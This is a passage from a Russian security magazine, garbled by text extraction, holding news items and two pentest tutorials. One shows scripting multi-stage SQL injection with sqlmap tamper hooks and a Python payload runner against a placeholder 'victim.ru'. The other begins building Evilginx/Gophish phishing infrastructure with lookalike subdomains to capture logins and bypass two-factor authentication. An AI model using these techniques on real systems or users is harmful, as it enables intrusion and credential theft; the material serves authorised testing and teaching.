вяза на к IP-адре су 0.0.0.0 вмес то localhost, что откры вало ее для вре донос- 
ных зап росов.

ShellTorch

Ис сле дова тели пре дуп режда ют, что в пос леднее вре мя наб люда ется
стре митель ный рост количес тва сай тов, пыта ющих ся вза имо дей ство вать
с 0.0.0.0: недав но их количес тво пре выси ло 100 тысяч.

Раз работ чики бра узе ров уже отре аги рова ли на пуб ликацию отче та иссле- 
дова телей.

В Google Chrome сооб щили, что , но раз- 
верты вание исправ ления будет пос тепен ным, начиная с вер сии 128 и закан- 
чивая вер сией 133.

заб локиру ют дос туп к 0.0.0.0

В Mozilla Firefox PNA не при меня ется, но это один из при ори тетов раз- 
работ чиков. Пока PNA не будет реали зова на, запуще на работа над 

, хотя дата его выпус ка неиз вес тна.
вре мен- 

ным исправ лени ем
Apple внед рила допол нитель ные про вер ки для IP-адре сов в Safari

с помощью , и дос туп к 0.0.0.0 будет заб локиро ван в гря- 
дущей вер сии 18, которую пред ста вят вмес те с macOS Sequoia.

из менений в WebKit

До момен та выхода исправ лений в Oligo Security рекомен дуют раз работ- 
чикам при ложе ний исполь зовать сле дующие меры безопас ности:
• внед рять заголов ки PNA;
• про верять заголов ки HOST для защиты от атак типа DNS rebinding;
• не доверять даже localhost и всег да исполь зовать авто риза цию;
• по воз можнос ти исполь зовать HTTPS;
• внед рять CSRF-токены, даже для локаль ных при ложе ний.

ОБЪЕМ УТЕЧЕК УВЕЛИЧИЛСЯ НА 14%
По дан ным сер виса раз ведки уте чек дан ных и монито рин га дар кне та DLBI (Data Leakage &
Breach Intelligence), объ ем уте чек пер сональ ных дан ных за пер вые пол года 2024 года пре высил
объ ем ана логич ного пери ода прош лого года на , одна ко общее чис ло уте чек сни зилось.14%

За январь — июнь у рос сий ских ком паний про изош ло  утеч ки дан ных, вклю чав ших в себя
 уни каль ных email-адре сов и  уни каль ных телефон ных

номеров. Для срав нения — за ана логич ный пери од прош лого года про изош ло более 200 уте чек.

144
46  мил лионов 140  мил лионов

Так же в три раза (с  до ) сни зилось количес тво круп ных уте чек дан ных, чей объ ем пре-
выша ет  записей.

60 20
1 мил лион

Ос новным источни ком уте чек, как и в прош лом году, оста ются взло мы с исполь зовани ем
извес тных уяз вимос тей, най ден ных с помощью ска ниро вания сетевой инфраструк туры ком- 
паний или хищения дан ных для уда лен ного дос тупа к ней.

ROMHACKING
ЗАКРЫЛСЯ
О зак рытии объ явил извес тный пос вящен ный ром хакин гу ресурс ROMhacking
(RomHacking.net), на котором око ло 20 лет пуб ликова лись все воз можные
ремей ки, перево ды, исправ ления и экспе римен таль ные вер сии игр. Сайт
оста нет ся дос тупен толь ко для чте ния.

Ог ромная кол лекция ROMhacking, вклю чающая в себя как очень мало- 
извес тные, так и мей нстри мовые игры, будет сох ранена. Одна ко осно ватель
сай та, Nightcrawler, опуб ликовал заяв ление, в котором выразил бла годар- 
ность сооб щес тву, но осу дил дей ствия некото рых его учас тни ков.

Nightcrawler рас ска зал, что еще в прош лом году хотел свер нуть все дела
и попытал ся передать управле ние сай том неболь шой коман де поль зовате- 
лей, которые были готовы работать над ресур сом. Имен но тог да, пишет соз- 
датель сай та, он «обна ружил самую бес чес тную и пол ную ненавис ти груп пу»
людей, которые попыта лись отс тра нить его от управле ния, устро или трав лю
и рас кры ли его лич ные дан ные.

«

»

«ß óçíàë, ÷òî î÷åíü äîë ãîå âðå ìÿ ìåíÿ îáåñ ÷åëîâå ÷èâà ëè. Ìîè ëè÷- 
íûå äàí íûå áûëè ðàç ãëà øåíû. Áûëè ðàç ðàáîòà íû òàé íûå êîâàð íûå
ïëà íû, ÷òî áû èçáà âèòü ñÿ îò ìåíÿ è „ñáðî ñèòü áîì áó“, áóä òî ÿ — öåëü,
êîòîðóþ íóæ íî óíè÷ òîæèòü. Ìîÿ ñåìüÿ âèäåëà âñå ýòî, è ïîñ ëå
îáñóæäå íèÿ ìû ðåøèëè íåìåä ëåííî ñâåð íóòü âñþ àêòèâíîñòü, ñâÿ çàí- 
íóþ ñ ñàé òîì. Ìû ðàç ðûâà åì ñâÿçü ñ ñîöè àëü íûìè ñåòÿìè (Discord
è Twitter) è áîëåå íå áóäåì êîí òàêòè ðîâàòü ñ ýòè ìè ëþäü ìè. ×åð òà
ïðîé äåíà», — ïèøåò Nightcrawler.

БД сай та (за исклю чени ем акка унтов и про филей учас тни ков) уже переда на
архи вари усам . С 1 августа 2024 года на ROMhacking оста лись
толь ко новос тные пос ты и форумы, а все осталь ное будет дос тупно толь ко
для чте ния. Офи циаль ные акка унты ресур са в Twitter и Discord прек ратили
работу.

Internet Archive

С пуб ликаци ей Nightcrawler выразил несог ласие Гиде он Чжи (Gideon Zhi),
вла делец Time Capsule Games и учас тник ROMhacking на про тяже нии
более 20 лет.

Чжи приз нает, что у сай та име ются тех ничес кие дол ги, денеж ные зат раты,
а его адми нис тра тор не может не выгорать. Одна ко, по сло вам Чжи, в кон- 
це 2023 года Nightcrawler собирал ся прос то отклю чить ресурс, без под готов- 
ки какого-либо архи ва и переда чи дан ных. А тре бова ния к воз можно му пре- 
емни ку, которые выд вигал осно ватель сай та, Чжи наз вал «нере алис тичны ми
по любым мер кам». Тог да учас тни ки сооб щес тва попыта лись пред ложить
помощь, одна ко ничего не выш ло.

«
»

«Îí (Nightcrawler) âûñ òóïàë â ðîëè åäèíñ òâåí íîé òî÷ êè îòêà çà
äëÿ ñàé òà è æåëåç íîé ðóêîé êîí òðî ëèðî âàë âåñü ñîç äàííûé ñîîá ùåñ- 
òâîì êîí òåíò, à òàê æå êàòåãî ðè÷åñ êè îòâåðãàë ïðàê òè÷åñ êè ëþáûå
ïðåä ëîæåíèÿ î ïîìîùè çà ïîñ ëåäíåå äåñÿòè ëåòèå», — ãîâîðèò ×æè.

Так, в прош лом году сайт яко бы был прак тичес ки заб рошен, пос ле чего заин- 
тересо ван ные учас тни ки сооб щес тва объ еди нились в Discord и попыта лись
перевес ти бэкенд ресур са на сов ремен ные сис темы хра нения и обслу жива- 
ния фай лов, вклю чая Amazon Web Services S3, но Nightcrawler в пос леднюю
минуту наложил вето на эти изме нения. Так же Чжи уве ряет, что доб роволь цы,
учас тво вав шие в этих пре обра зова ниях, никог да не угро жали Nightcrawler
и не пытались его док сить.

Ад минис тра тор теперь неофи циаль ного Discord-сер вера ROMhacking
под твер дил СМИ, что отно шения меж ду осно вате лем ресур са и груп пой энту- 
зиас тов были натяну тыми. Одна ко адми нис тра тор Discord-сер вера тоже
отри цает любые угро зы и попыт ки прес ледова ния Nightcrawler со сто роны
поль зовате лей.

ДРУГИЕ ИНТЕРЕСНЫЕ СОБЫТИЯ МЕСЯЦА
Смар тфо ны Xiaomi смо гут обна ружи вать скры тые камеры

35 000 доменов зах вачены хакера ми бла года ря DNS-ата ке Sitting Ducks

Ско ро uBlock Origin перес танет работать в Google Chrome

Да унгрейд-ата ка помога ет исполь зовать ста рые уяз вимос ти в Windows

Спе циалис ты НКЦКИ ФСБ пре дуп редили об опас ности бра узе ра «Спут ник»

Рос комнад зор сооб щил о бло киров ке мес сен дже ра Signal

Опе рато ры про сят Мин цифры и РКН пре дос тавить разъ ясне ние о замед лении YouTube

В откры тый дос туп утек ли 2,7 мил лиар да записей с дан ными аме рикан цев

Google зак рыва ет прог рамму по поис ку багов в при ложе ниях Google Play

Раз работ чик Styx Stealer слу чай но слил собс твен ные дан ные
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SQL-инъ екции — одна из самых при ятных
уяз вимос тей при пен тесте. Но встре чают ся
они все реже, пос коль ку сов ремен ные инс- 
тру мен ты безопас ности без тру да их
отлавли вают. Слож нее быва ет выявить инъ- 
екцию, которая сра баты вает при переда че
дан ных меж ду сер висами. Сегод ня мы
погово рим о детек те имен но таких SQLi —
тех, что сра баты вают не сра зу, а где-то
в глу бине биз нес-логики.

Сна чала раз берем ся с общей методо логи ей поис ка мно гоэтап ных SQLi,
затем пос мотрим, какие встро енные фун кции sqlmap помогут нам в выяв- 
лении, а под конец напишем собс твен ную обер тку для поис ка таких инъ екций.

WARNING

Статья име ет озна коми тель ный харак тер и пред- 
назна чена для спе циалис тов по безопас ности,
про водя щих тес тирова ние в рам ках кон трак та.
Автор и редак ция не несут ответс твен ности
за любой вред, при чинен ный с при мене нием
изло жен ной информа ции. Рас простра нение вре- 
донос ных прог рамм, наруше ние работы сис тем
и наруше ние тай ны перепис ки прес леду ются
по закону.

ÊÀÊ ÈÑÊÀÒÜ ÌÍÎÃÎÝÒÀÏÍÛÅ SQLI

В тес тирова нии мно гоэтап ных инъ екций я выделяю четыре основных эта па.
1.  На эта пе под готов ки соз дают ся дан ные или объ екты,

в которые или при помощи которых будет выпол нять ся инъ екция. 
 соз дание чер новика новос ти на новос тном пор тале (кноп ка «Соз- 

дать чер новик») или соз дание нового пись ма (кноп ка «Написать пись мо»).

Ïîä ãîòîâ êà.

Ïðè- 

ìåð:

2.  Этап, на котором про исхо дит непос редс твен ное добав- 
ление наг рузки в переда ваемые дан ные.  сох ранение новос ти

пос ле редак тирова ния.

Âíåä ðåíèå.

Ïðè ìåð:

3.  На этом эта пе под твержда ется соз дание объ екта.
 под твержде ние пуб ликации новос ти.

Ïîä òâåðæäå íèå.

Ïðè ìåð:

4.  Здесь под разуме вает ся, что есть отдель ная стра ница,

на которой мож но уви деть резуль тат сра баты вания инъ екции. 

стра ница опуб ликован ной новос ти.

Ðå çóëü òàò.

Ïðè ìåð:

Каж дый этап может пред став лять собой нес коль ко зап росов, одна ко их суть
при этом сох раня ется:
1. Зап росы перед инъ екци ей.
2. Зап рос с инъ екци ей.
3. Зап росы пос ле инъ екции.
4. Про вер ка сра баты вания.

В биз нес-логике при ложе ния могут при сутс тво вать не все эта пы. Нап ример,
нет эта па под готов ки: для соз дания новос ти может быть не нуж но отправ лять
отдель ный зап рос, новость соз дает ся сра зу во вре мя редак тирова ния.

ÂÑÒÐÎÅÍÍÛÅ ÔÓÍÊÖÈÈ Â SQLMAP ÄËß ÝÊÑÏËÓÀÒÀÖÈÈ
ÌÍÎÃÎÝÒÀÏÍÛÕ SQLI

Встро енные фун кции sqlmap поз воля ют вза имо дей ство вать не толь ко с зап- 
росом, в который внед ряет ся наг рузка, но и с зап росами, иду щими пос ле
него и перед ним.

Ос новные фун кции:
об работ ка наг рузки (tamper);•
из менение основно го зап роса (eval);•
вы пол нение одно го зап роса пос ле основно го (second-req/second-url).•

Sqlmap tamper
 модифи кация наг рузки перед отправ кой при помощи кода

на Python.
Íàç íà÷åíèå:

Ïà ðàìåòð:

--tamper /path/to/tamper 

Îñî áåí íîñòè:

Есть готовые тем перы. Обыч но они рас положе ны в 
.

• /usr/share/

sqlmap/tamper/

Пос мотреть сущес тву ющие тем перы мож но коман дой 
.

• sqlmap --list-

tampers

Мож но соз давать собс твен ные тем перы на Python.•

Äëÿ ÷åãî ìîæåò áûòü ïîëåçåí:

об ход WAF, ;• при меры на GitHub
вы пол нение зап росов перед отправ кой основной наг рузки sqlmap.•

Как создать кастомный tamper
Соз даем файл с рас ширени ем .py. Нап ример, . Встав ляем в него
заготов ку:

test.py

#!/usr/bin/env python3
   from lib.core.enums import PRIORITY

  __priority__ = PRIORITY.NORMAL

 def dependencies():
    pass

  def tamper(payload, **kwargs):
    """
        This accepts the payload that SQLMap will send to the
        target, then returns the formatted payload
    """

     if payload:
        # Do stuff to the payload here. Probably best to
        # set a new variable and return that once you
        # manipulate it however.
        pass

     return payload

Ко рот ко о том, что есть в этой струк туре:
1.  — перемен ная, которая поз воля ет опре делить порядок

tamper sqlmap, если их нес коль ко. Все го сущес тву ет семь рег ламен- 
тирован ных зна чений:

__priority__

;• PRIORITY.LOWEST

;• PRIORITY.LOWER

;• PRIORITY.LOW

;• PRIORITY.NORMAL

;• PRIORITY.HIGH

;• PRIORITY.HIGHER

.• PRIORITY.HIGHEST

2.  — потен циаль но эта фун кция пред назна чена для допол- 
нитель ных зависи мос тей, но в дан ный момент исполь зует ся в тем перах
толь ко для вывода информа ции в sqlmap:

dependencies()

 def dependencies():
    singleTimeWarnMessage("This is a warning from your tamper 
script!")

3.  — фун кция, обра баты вающая полез ную наг- 

рузку, которая переда ется в парамет ре . Так же мож но получить

дос туп к дру гим парамет рам зап роса через . И даже изме нить
их:

tamper(payload, **kwargs)
payload

**kwargs

  def tamper(payload, **kwargs):
       headers = kwargs.get("headers", {})
      headers["X-FORWARDED-FOR"] = "127.0.0.1"
     return payload

Пос ледним шагом необ ходимо соз дать в дирек тории пус той файл 

.

__init__.
py

Те перь мы можем ука зывать этот файл в парамет ре, как показы валось
до это го:

--tamper /path/to/test.py 

Так же может быть полез но изу чить эти матери алы:
HackTricks: • Second Order Injection — SQLMap
Статья по тем перу sqlmap: • Writing your own SQLMap Tamper Scripts
Ки тай ская муд рость на тему авто мати зации sqlmap: • Semi-automatic-mode-
sqlmap

Sqlmap eval
 модифи кация зап роса перед отправ кой при помощи кода

на Python.

Íàç íà÷åíèå:

Ïà ðàìåòð:

--eval="#first line; #second line; #third line"

Îñî áåí íîñòè:

Не име ет дос тупа к наг рузке, которая будет переда на. При замене
перемен ной наг рузка утра чива ется.

•

Мо дифи циру ет зап рос каж дый раз, ког да отправ ляет ся основная наг рузка;
 не модифи циру ется.

•
--second-req

Мо дифи циро вать мож но любую часть зап роса, в том чис ле и URI.•

Äëÿ ÷åãî ìîæåò áûòü ïîëåçåí:

об ход WAF, ;• при мер на GitHub
вы пол нение зап росов перед отправ кой основной наг рузки sqlmap.•

Пример использования eval
Для исполь зования  код на Python переда ется в параметр  в виде

однос троч ника:

eval --eval

sqlmap … --eval="import time; title=time.time()"

Sqlmap сам пар сит переда ваемые дан ные, что поз воля ет обра щать ся к ним
нап рямую. На рисун ке ниже про демонс три рова но изме нение перемен ной
внут ри тела зап роса, заменя ющее зна чение  текущим вре менем.title

Sqlmap second-req/second-url
 отправ ка зап роса  основно го зап роса и наг рузки.Íàç íà÷åíèå: ïîñ ëå

Ïà ðàìåòð:

--second-req /path/to/request 
--second-url http://127.0.0.1/API 

Îñî áåí íîñòè:

Second-req (но не second-url) может кон флик товать с , из-за чего
sqlmap будет падать на эта пе ини циали зации (про вер ки WAF).

• eval

Не под дает ся изме нению, так как tamper вызыва ется при обра бот ке наг- 
рузки (ее здесь нет), а  вызыва ется на основной зап рос или кон флик- 
тует.

•
eval

Зап рос из second-req/second-url будет делать ся каж дый раз, 
. Если наг рузка не стре ляет, то зап рос second-req/second-

url тоже не будет выпол нен. На рисун ке ниже вид но, что sqlmap не дела ет
second-req на про вероч ных зап росах (про вер ка дос тупнос ти сай та).

êîã äà âûïîë- 

íÿåò ñÿ íàã ðóçêà

Êðàòêèå âûâîäû
Та ким обра зом, на дан ный момент есть нес коль ко механиз мов, поз воля ющих
выпол нять допол нитель ные зап росы: tamper, eval, second request. Крат кое их
срав нение — в таб лице ниже.

Ïðîáëåìû ïðè ýêñïëóàòàöèè ìíîãîýòàïíûõ SQLi ÷åðåç sqlmap
Су щес тву ющие кас томизи руемые механиз мы (tamper и eval) могут помочь
толь ко при соз дании зап росов  основной наг рузкой и пов лиять на сам

зап рос с основной наг рузкой. Таким обра зом, они помога ют на эта пах 1
(под готов ка) и 2 (внед рение).

ïå ðåä

Мо дифи циро вать же зап росы пос ле основно го через sqlmap сей час
невоз можно. Зап рос из second request нель зя изме нить, а так же нель зя
отпра вить боль ше одно го зап роса, что может пот ребовать ся на эта пе 3 (под- 
твержде ние) и эта пе 4 (резуль тат).

В ито ге sqlmap может помочь в экс плу ата ции мно гоэтап ных инъ екций,
но сос тоящих толь ко из двух или трех (в луч шем слу чае) эта пов.

При наибо лее прос том сце нарии — ког да нужен толь ко этап под готов ки —
sqlmap может хорошо спра вить ся со сво ей задачей в поис ке и экс плу ата ции
сос тавных SQLi.

ÏÈØÅÌ ÑÂÎÞ ÎÁÅÐÒÊÓ

Оп тималь ной я вижу такую схе му тес тирова ния мно гоэтап ных SQLi
при помощи кас томных скрип тов на Python:
1. Есть цепоч ка зап росов (stage 1, stage 2, ...), пос ле каж дого зап роса выпол- 

няет ся про вер ка ста туса, вре мени и дли ны отве та, а так же наличия зап- 
росов на внеш ний сер вер — out-of-bounds (OOB).

2. Эти зап росы выпол няют ся в фун кции, которая при нима ет наг рузку
( ). Далее эта наг рузка под став ляет ся в зап росы (stage 1, stage 2,
...).
payload

3. Фун кция  запус кает фун кцию с цепоч кой парал лель но в пять вор- 
керов и переда ет в нее наг рузку из задан ного сло варя и сес сион ную
cookie.

main

Ïðèìåð êîäà
Для начала импорти руем необ ходимые биб лиоте ки, в том чис ле
и  — для выпол нения парал лель ных зап росов.concurrent.futures

 import concurrent.futures
 import requests
 import json
 import argparse

   from urllib3.exceptions import InsecureRequestWarning
   from urllib3 import disable_warnings

 disable_warnings(InsecureRequestWarning) #for ingnore tls errors

Фун кция  будет обра баты вать передан ные аргу мен ты:args_parser()

 def args_parser():
      parser = argparse.ArgumentParser(add_help=True, description='''
       Делает транзакции

        ''', formatter_class=RawTextHelpFormatter)
    parser.add_argument("-w",'--wordlist', dest='wordlist',type=str,
help="Путь до словаря с нагрузками")
    parser.add_argument("-s",'--session-cookie', dest='session',type=
str,help="Текущая сессионная кука")
    return parser.parse_args()

Ни же — при мер глав ной фун кции, где реали зова на мно гопо точ ность на пять
вор керов. Скрипт получа ет аргу мен ты коман дной стро ки, под гру жает путь
до вор длис та, а так же сес сион ные cookie, что бы выпол нять аутен тифици- 
рован ные зап росы. Пос ле получе ния всех дан ных при помощи абс трак ции

 соз даем пул вор керов, которые

будут выпол нять задан ную фун кцию. Запус кают ся потоки при помощи
, в которую переда ется исполня емая фун кция и ее парамет- 

ры.

concurrent.futures.ThreadPoolExecutor

executor.submit

 def main():
   args=args_parser()
     wordlist = args.wordlist
   session=args.session

      f = open(wordlist, "r")

      with concurrent.futures.ThreadPoolExecutor(max_workers=5) as
executor:

          for line in f:
             executor.submit(send_req, line, session)

       f.close()

Да лее — при мер фун кции, которую мы переда ем в . Она будет

отправ лять зап росы с наг рузкой из сло варя. В этом при мере фун кция пред- 
став лена в виде трех час тей: Create vars, STAGE 1 и STAGE 2. В Create vars
зада ются общие зна чения для всех сле дующих зап росов, нап ример зна чение

 и заголо вок . Ста дий может быть сколь ко угод но, они

пред став ляют собой зап росы для раз ных эта пов биз нес-логики. Новый зап- 
рос — новый STAGE. В дан ном слу чае для при мера при веде но два STAGE.

executor

cookie User-Agent

    def send_req(payload: str, session_cookie: str):
   ### Create vars
     cookies = {

        'Session': session_cookie,
   }
     headers = {

        'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) 
Gecko/20100101 Firefox/115.0',
       # Some headers
   }

   ### STAGE 1
     json_data = {
       # Some data
   }
     response = requests.post(
       'https://victim.ru/transactions',
       cookies=cookies,
       headers=headers,
       json=json_data,
   )
     dictData = json.loads(response.content)
   # Work with data ...
   try:
       # Check your business logic
       transactionId=int(dictData['transactionId'])
   except:
       # handle_error here
       handle_error()
   check_interests(response,1,payload,210)

   ### STAGE 2
     json_data = {
       # Some data 2
   }
     response = requests.put(
       'https://victim.ru/transactions/'+str(transactionId),
       cookies=cookies,
       headers=headers,
       json=json_data,
   )
   if (response.status_code)!=200:
       handle_error()
   else:
       pass
   check_interests(response,2,payload,2010)

Так же важ но отсле дить ано малии, которые были получе ны при переда че наг- 
рузок из сло варя. Далее — при мер фун кции, которая обра баты вает ано- 
малии: изме ряет вре мя отве та сер вера (сра баты вает, если дли тель ность
боль ше десяти секунд), а так же про веря ет дли ну отве та в срав нении с обыч- 
ной дли ной.

   def check_interests(response, stage, payload,normal_len):
      if response.elapsed.total_seconds() > 10:

         print("Intresting time result in ", stage,": ", payload,"
Diff: ",diff)
     diff = len(response.text)-normal_len
      if diff > 2:

         print("Intresting len result in ", stage,": ", payload,"Diff:
",diff)

По мимо это го, не сто ит забывать в переда ваемых наг рузках уточ нить сер вер
для OOB и пери оди чес ки про верять его на наличие отсту ков.

ÂÛÂÎÄÛ

Итак, для выяв ления и экс плу ата ции мно гоэтап ных SQLi кодить будет поч ти
всег да необ ходимо. В слу чае с sqlmap — для тем пера (даль ше экс плу ати рует
инъ екцию уже сам sqlmap). Но на дан ный момент sqlmap не может помочь
в экс плу ата ции мно гоэтап ных инъ екций, для которых необ ходим зап рос-под- 
твержде ние пос ле основно го зап роса с наг рузкой.

Бо лее слож ные инъ екции мож но детек тировать при помощи кас томных
скрип тов (с отсле жива нием ста туса, дли ны и вре мени отве та), а так же
исполь зования наг рузок out-of-bound. Но экс плу ати ровать выяв ленную инъ- 
екцию в этом слу чае при дет ся вруч ную.

Как защитить ся от таких атак? Оста ется толь ко про верять дан ные на всех
эта пах работы при ложе ния, а не толь ко на вход ной точ ке.

Уда чи в поис ках нет риви аль ных инъ екций!

mailto:urvancev-00@mail.ru
https://github.com/gagaltotal/Bypass-WAF-SQLMAP/blob/master/Example-Bypass-WAF-SQLMAP.txt
https://book.hacktricks.xyz/pentesting-web/sql-injection/sqlmap/second-order-injection-sqlmap
https://agrohacksstuff.io/posts/sqlmap-tamper-scripts/
https://eson.ninja/pentest-learning/semi-automatic-mode-sqlmap/
https://github.com/gagaltotal/Bypass-WAF-SQLMAP/blob/master/Example-Bypass-WAF-SQLMAP.txt
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ВЗЛОМ

В этой статье я объ ясню, как пос тро ить
инфраструк туру для симуля ции фишин- 
говой ата ки в рам ках тес тирова ния орга- 
низа ции. Мы соз дадим с нуля поч товый
сер вер, уста новим и нас тро им обратный
прок си Evilginx, а затем внед рим его
в фишин говый фрей мворк Gophish. В кон це
я покажу на прак тике про цесс про веде ния
фишин говой ата ки с перех ватом логина,
пароля и сес сион ных cookie, c пос леду- 
ющим обхо дом двух фактор ной аутен- 
тифика ции.

WARNING

Статья име ет озна коми тель ный харак тер и пред- 
назна чена для спе циалис тов по безопас ности,
про водя щих тес тирова ние в рам ках кон трак та.
Автор и редак ция не несут ответс твен ности
за любой вред, при чинен ный с при мене нием
изло жен ной информа ции. Рас простра нение вре- 
донос ных прог рамм, наруше ние работы сис тем
и наруше ние тай ны перепис ки прес леду ются
по закону.

ÑÂßÇÊÀ EVILGINX È GOPHISH

Два фрей мвор ка, которые мы будем исполь зовать для про веде ния фишин- 
говой кам пании, называ ются Evilginx и Gophish. Это два самос тоятель ных инс- 
тру мен та, которые выпол няют раз ные задачи.

Gophish — это прог рамма с откры тым кодом, соз данная Джор даном Рай- 
том. Gophish поз воля ет про водить авто мати зиро ван ные фишин говые рас- 
сылки и таким обра зом ими тиро вать дей ствия зло умыш ленни ка.

Evilginx — это обратный прок си-сер вер, который прок сиру ет соеди нение
меж ду поль зовате лем и целевым веб-ресур сом, поз воляя перех ватить логин,
пароль и клю чи сеан са. С помощью это го фрей мвор ка мож но обой ти двух- 
фактор ную аутен тифика цию. Автор Evilginx — Куба Грец ки.

Есть две вер сии интегра ции этих двух инс тру мен тов. Пер вая — 
, ее раз работал Дилан Эванс, он же n3ss3g0d. Она вклю чает в себя

более рас ширен ный набор воз можнос тей вро де SMS-рас сылок и генера ции
QR-кодов, а так же некото рые дру гие отли чия от офи циаль ной вер сии.

не офи- 
циаль ная

 интегра цию раз работал автор Evilginx Куба Грец ки, и появи- 
лась она отно ситель но недав но — в апре ле 2024 года. На дан ный момент
в ней мень ше фун кций, чем в вер сии n3ss3g0d, но инс тру мент пос тоян но
обновля ется, и, ско рее все го, все недос тающее добавят. В статье я буду
исполь зовать имен но эту вер сию интегра ции.

Офи циаль ную

ÍÀ×ÈÍÀÅÌ ÑÒÐÎÈÒÜ ÈÍÔÐÀÑÒÐÓÊÒÓÐÓ

Для начала необ ходимо арен довать VPS/VDS и домен ное имя. Нам хва тит
сле дующей кон фигура ции: 1 Гбайт ОЗУ, 20 Гбайт SSD и один про цес сор.
В качес тве ОС — Ubuntu 20.04.

По луча ем кре ды от сер вера, под клю чаем ся к машине по SSH и про водим
базовую нас трой ку: соз даем нового поль зовате ля и добав ляем его в груп пу
sudo, соз даем клю чи SSH, отклю чаем аутен тифика цию по паролю, нас тра- 
иваем пор ты, пра вила фай рво ла и так далее.

INFO

Под робнее о пер воначаль ной нас трой ке сер вера
ты можешь про честь в статье «

».
Ваш чек, сэр! Todo

пос ле покуп ки вир туаль ного Linux-сер вера

Ра зоб равшись с сер вером, прис тупа ем к соз данию и нас трой ке домена.
Для это го выбира ем любой сер вис, пре дос тавля ющий услу ги арен ды. Один
из клю чевых ком понен тов фишин говой ата ки — это домен ное имя, которое
вве дет поль зовате ля в заб лужде ние. Регис тра ция такого домена называ ется
тай псквот тинг, и вари антов здесь может быть мно го.

Я решил соз дать неп римет ный домен , что бы потом

добавить к нему под домены, содер жащие наз вания извес тных орга низа ций,
так как под домены необя затель но дол жны быть уни каль ными. Нап ример,
если добавим под домен , у нас получит ся 

.

webaccount.site

microsoft microsoft.
webaccount.site

Те перь прис тупим к нас трой ке DNS. Пер вым делом нуж но уста новить
основную запись типа А, которая свя зыва ет домен ное имя с IP-адре сом сер- 
вера. Для это го редак тиру ем ресур сные записи в раз деле управле ния зоной
DNS у регис тра тора.

В даль нейшем при соз дании фишин говых адре сов будет исполь зовать ся
мно жес тво под доменов и для каж дого такого под домена пот ребу ется отдель- 
ная запись типа A, одна ко мож но исполь зовать и запись типа CNAME,
передав ей в качес тве аргу мен та регуляр ное выраже ние «звез дочка».

Этот тип записи сопос тавит псев доним (под домен) с канони чес ким име нем
домена ( ) в момент генера ции фишин гового адре са

и получе ния TLS/SSL-сер тифика та в Evilginx.

webaccount.site

По дож дем, пока DNS-записи рас простра нят ся (это может занять некото- 
рое вре мя, от 15 минут до нес коль ких часов), и про верим работос пособ ность
сер вера. Для это го прос то обра щаем ся к домену через бра узер.

До мен успешно при вязал ся к сер веру. Пос ле арен ды домена желатель но
подож дать хотя бы неделю: чем домен стар ше, тем мень ше веро ятность, что
он ока жет ся в чер ных спис ках. Во вре мя моих пер вых попыток я регис три- 
ровал домен и сра зу же исполь зовал его в ими тации фишин говой ата ки,
из-за чего его отс тре лива ли в течение суток. Раз с доменом разоб рались,
прис тупим к уста нов ке поч тового сер вера.

ÏÎÄÍÈÌÀÅÌ ÏÎ×ÒÎÂÛÉ ÑÅÐÂÅÐ

SMTP-сер вер — один из клю чевых ком понен тов нашей будущей инфраструк- 
туры. Его задача — выс тупать в роли рет ран сля тора. Нас трой ка поч тового
сер вера нес ложная, но тре бует мно жес тва пос ледова тель ных дей ствий.

Пер вым делом необ ходимо уста новить две записи. Одна — типа А с име- 
нем , ука зыва ющая на IP-адрес сер вера.mail

Вто рая запись — типа MX, которая ука зыва ет на сер вер, обра баты вающий
элек трон ную поч ту.

Те перь мож но прис тупить к уста нов ке и нас трой ке Postx. Под клю чаем ся
к сво ему VPS/VDS по SSH и запус каем уста нов ку:

apt sudo install postfix 

При нас трой ке в пер вом шаге выбира ем пункт Internet Site.

Вво дим домен ное имя, которое будет опре делять ся при отправ ке поч ты.

Ука зыва ем поч товый адрес адми нис тра тора домена. Мож но оста вить пус тым
(что не рекомен дует ся), тог да поч та, пред назна чен ная для адми нис тра тора,
будет отправ лять ся в ./var/mail/nobody

Даль ше про писы ваем адре са вот в таком фор мате:

<hostname>, <domain>, localhost.com, localhost 

От казыва емся от при нуди тель ного выпол нения син хро низа ции обновле ний.

По ле с локаль ной сетью не тро гаем и оставля ем по умол чанию.

Раз мер поч тового ящи ка оставля ем со зна чени ем 0, в этом слу чае он будет
опре делять ся общим дис ковым прос транс твом.

Сим вол, который будет исполь зовать ся для опре деле ния рас ширения
локаль ного адре са, — ста вим плю сик.

И в пос ледней нас трой ке выбира ем исполь зуемые про токо лы — all.

Пос ле нас трой ки уста нов ку Postx мож но счи тать завер шенной. Про веря ем
при помощи ути литы netcat, запус тился ли поч товый сер вер. Дос таточ но пос- 
тучать ся на 25-й порт нашего хос та (порт SMTP по умол чанию).

Поч товый сер вер запущен, но одной уста нов ки мало, необ ходимо так же нас- 
тро ить ресур сные записи, что бы поч та доходи ла до конеч ной точ ки. Если про- 
пус тить этот важ ный этап, поч та не то что будет попадать в спам, она в прин- 
ципе не будет рас смат ривать ся поч товыми сер верами. Для успешной дос- 
тавки сооб щений необ ходимо нас тро ить ресур сные DNS-записи типа TXT —
SPF, DKIM, DMARC.

ÍÀÑÒÐÀÈÂÀÅÌ SPF, DKIM È DMARC

SPF
Нач нем с записи SPF (Sender Policy Framework). Это тек сто вая запись,
которая опи сыва ет то, какие хос ты име ют пра во отправ лять поч ту от име ни
домена, то есть это спи сок доверен ных сер веров. По сути, SPF —
это механизм, про веря ющий, авто ризо ван ли хост, отправ ляющий элек трон- 
ное пись мо от опре делен ного домен ного име ни.

Что бы такое пра вило работа ло, соз даем запись TXT в панели управле ния
доменом.

Эта запись опре деля ет, что элек трон ную поч ту от име ни домена могут
отправ лять сер веры, ука зан ные в записях MX и A домена, а так же име ющие
IP-адре са из диапа зона . Поч та от дру гих хос тов будет
помече на как подоз ритель ная.

94.142.141.0/24

WWW

Ты можешь вос поль зовать ся веб-инс тру мен том
, что бы соз дать свои пра вила SPF.SPF Wizard

DKIM
Вто рой записью нас тро им DKIM (DomainKeys Identied Mail). Это механизм
про вер ки элек трон ной поч ты, задача которо го — пре дот вра щать под делку
сооб щений. Для это го при меня ется асим метрич ное шиф рование: каж дое
сооб щение под писыва ется зак рытым клю чом.

INFO

DKIM исполь зует пары клю чей: зак рытый,
к которо му име ет дос туп толь ко поч товый сер вер,
и откры тый, который про писы вает ся в тек сто вой
DNS-записи, а затем исполь зует ся получа телем
для про вер ки легитим ности сооб щения.

Нас трой ка этой записи пот ребу ет мно жес тво шагов, будь вни мате лен при их
выпол нении — сде лать что-то не так доволь но лег ко. Пол ное руководс тво
по нас трой ке DKIM есть на , я не буду пол ностью перепи сывать
